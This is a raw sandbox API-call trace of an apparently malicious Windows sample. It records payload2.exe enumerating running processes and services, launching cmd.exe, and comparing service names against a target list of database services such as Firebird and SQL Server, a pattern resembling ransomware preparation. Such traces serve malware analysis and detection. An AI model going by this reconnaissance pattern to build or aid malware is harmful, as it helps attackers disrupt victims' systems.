	[0073.155] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0073.156] lstrlenW (lpString="dwm.exe") returned 7
	[0073.156] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.156] lstrlenW (lpString="svchost.exe") returned 11
	[0073.156] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.158] lstrlenW (lpString="svchost.exe") returned 11
	[0073.158] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.159] lstrlenW (lpString="svchost.exe") returned 11
	[0073.159] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.159] lstrlenW (lpString="svchost.exe") returned 11
	[0073.159] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.160] lstrlenW (lpString="svchost.exe") returned 11
	[0073.160] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.161] lstrlenW (lpString="svchost.exe") returned 11
	[0073.161] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.161] lstrlenW (lpString="svchost.exe") returned 11
	[0073.161] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.162] lstrlenW (lpString="svchost.exe") returned 11
	[0073.162] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.162] lstrlenW (lpString="svchost.exe") returned 11
	[0073.163] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0073.163] lstrlenW (lpString="spoolsv.exe") returned 11
	[0073.163] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.164] lstrlenW (lpString="svchost.exe") returned 11
	[0073.164] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.168] lstrlenW (lpString="svchost.exe") returned 11
	[0073.168] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0073.168] lstrlenW (lpString="audiodg.exe") returned 11
	[0073.168] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0073.176] lstrlenW (lpString="sihost.exe") returned 10
	[0073.177] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.177] lstrlenW (lpString="svchost.exe") returned 11
	[0073.177] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0073.178] lstrlenW (lpString="taskhostw.exe") returned 13
	[0073.178] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0073.178] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0073.178] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0073.179] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0073.179] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0073.179] lstrlenW (lpString="explorer.exe") returned 12
	[0073.180] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0073.180] lstrlenW (lpString="Memory Compression") returned 18
	[0073.180] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0073.290] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0073.290] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0073.291] lstrlenW (lpString="SearchUI.exe") returned 12
	[0073.291] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0073.291] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0073.291] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0073.292] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0073.292] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0073.292] lstrlenW (lpString="taskhostw.exe") returned 13
	[0073.292] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0073.293] lstrlenW (lpString="UsoClient.exe") returned 13
	[0073.293] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0073.294] lstrlenW (lpString="taskhostw.exe") returned 13
	[0073.294] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0073.294] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0073.294] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0073.295] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0073.295] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0073.295] lstrlenW (lpString="msoia.exe") returned 9
	[0073.295] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0073.296] lstrlenW (lpString="msoia.exe") returned 9
	[0073.296] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0073.296] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0073.296] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0073.297] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0073.297] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0073.297] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0073.297] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0073.298] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0073.298] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0073.299] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0073.299] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0073.299] lstrlenW (lpString="legends.exe") returned 11
	[0073.299] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0073.300] lstrlenW (lpString="miniature.exe") returned 13
	[0073.300] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0073.300] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0073.300] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0073.301] lstrlenW (lpString="thorough.exe") returned 12
	[0073.301] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0073.301] lstrlenW (lpString="dllhost.exe") returned 11
	[0073.301] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0073.302] lstrlenW (lpString="interactive.exe") returned 15
	[0073.302] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0073.302] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0073.302] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0073.303] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0073.303] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0073.304] lstrlenW (lpString="eastexamined.exe") returned 16
	[0073.304] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0073.304] lstrlenW (lpString="attacks-according.exe") returned 21
	[0073.304] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0073.305] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0073.305] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0073.306] lstrlenW (lpString="values latin.exe") returned 16
	[0073.306] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0073.306] lstrlenW (lpString="eaufeed.exe") returned 11
	[0073.306] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0073.307] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0073.307] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0073.309] lstrlenW (lpString="burning.exe") returned 11
	[0073.309] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0073.309] lstrlenW (lpString="warned-garage.exe") returned 17
	[0073.309] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0073.310] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0073.310] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0073.311] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0073.311] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0073.311] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0073.312] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0073.312] lstrlenW (lpString="proprietary.exe") returned 15
	[0073.312] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0073.313] lstrlenW (lpString="conhost.exe") returned 11
	[0073.313] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0073.313] lstrlenW (lpString="conhost.exe") returned 11
	[0073.313] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0073.314] lstrlenW (lpString="payload2.exe") returned 12
	[0073.314] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0073.315] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0073.315] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0073.315] lstrlenW (lpString="conhost.exe") returned 11
	[0073.315] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.316] lstrlenW (lpString="svchost.exe") returned 11
	[0073.316] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0073.317] lstrlenW (lpString="cmd.exe") returned 7
	[0073.317] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0073.317] lstrlenW (lpString="conhost.exe") returned 11
	[0073.317] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0073.318] CloseHandle (hObject=0x338) returned 1
	[0073.318] Sleep (dwMilliseconds=0x1f4) 
	[0074.066] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d7c8
	[0074.067] EnumServicesStatusExW (in: hSCManager=0x52d7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0074.067] GetLastError () returned 0xea
	[0074.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4314a18
	[0074.067] EnumServicesStatusExW (in: hSCManager=0x52d7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4314a18, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4314a18, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0074.068] CloseServiceHandle (hSCObject=0x52d7c8) returned 1
	[0074.068] lstrlenW (lpString="Appinfo") returned 7
	[0074.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0074.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0074.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0074.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0074.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
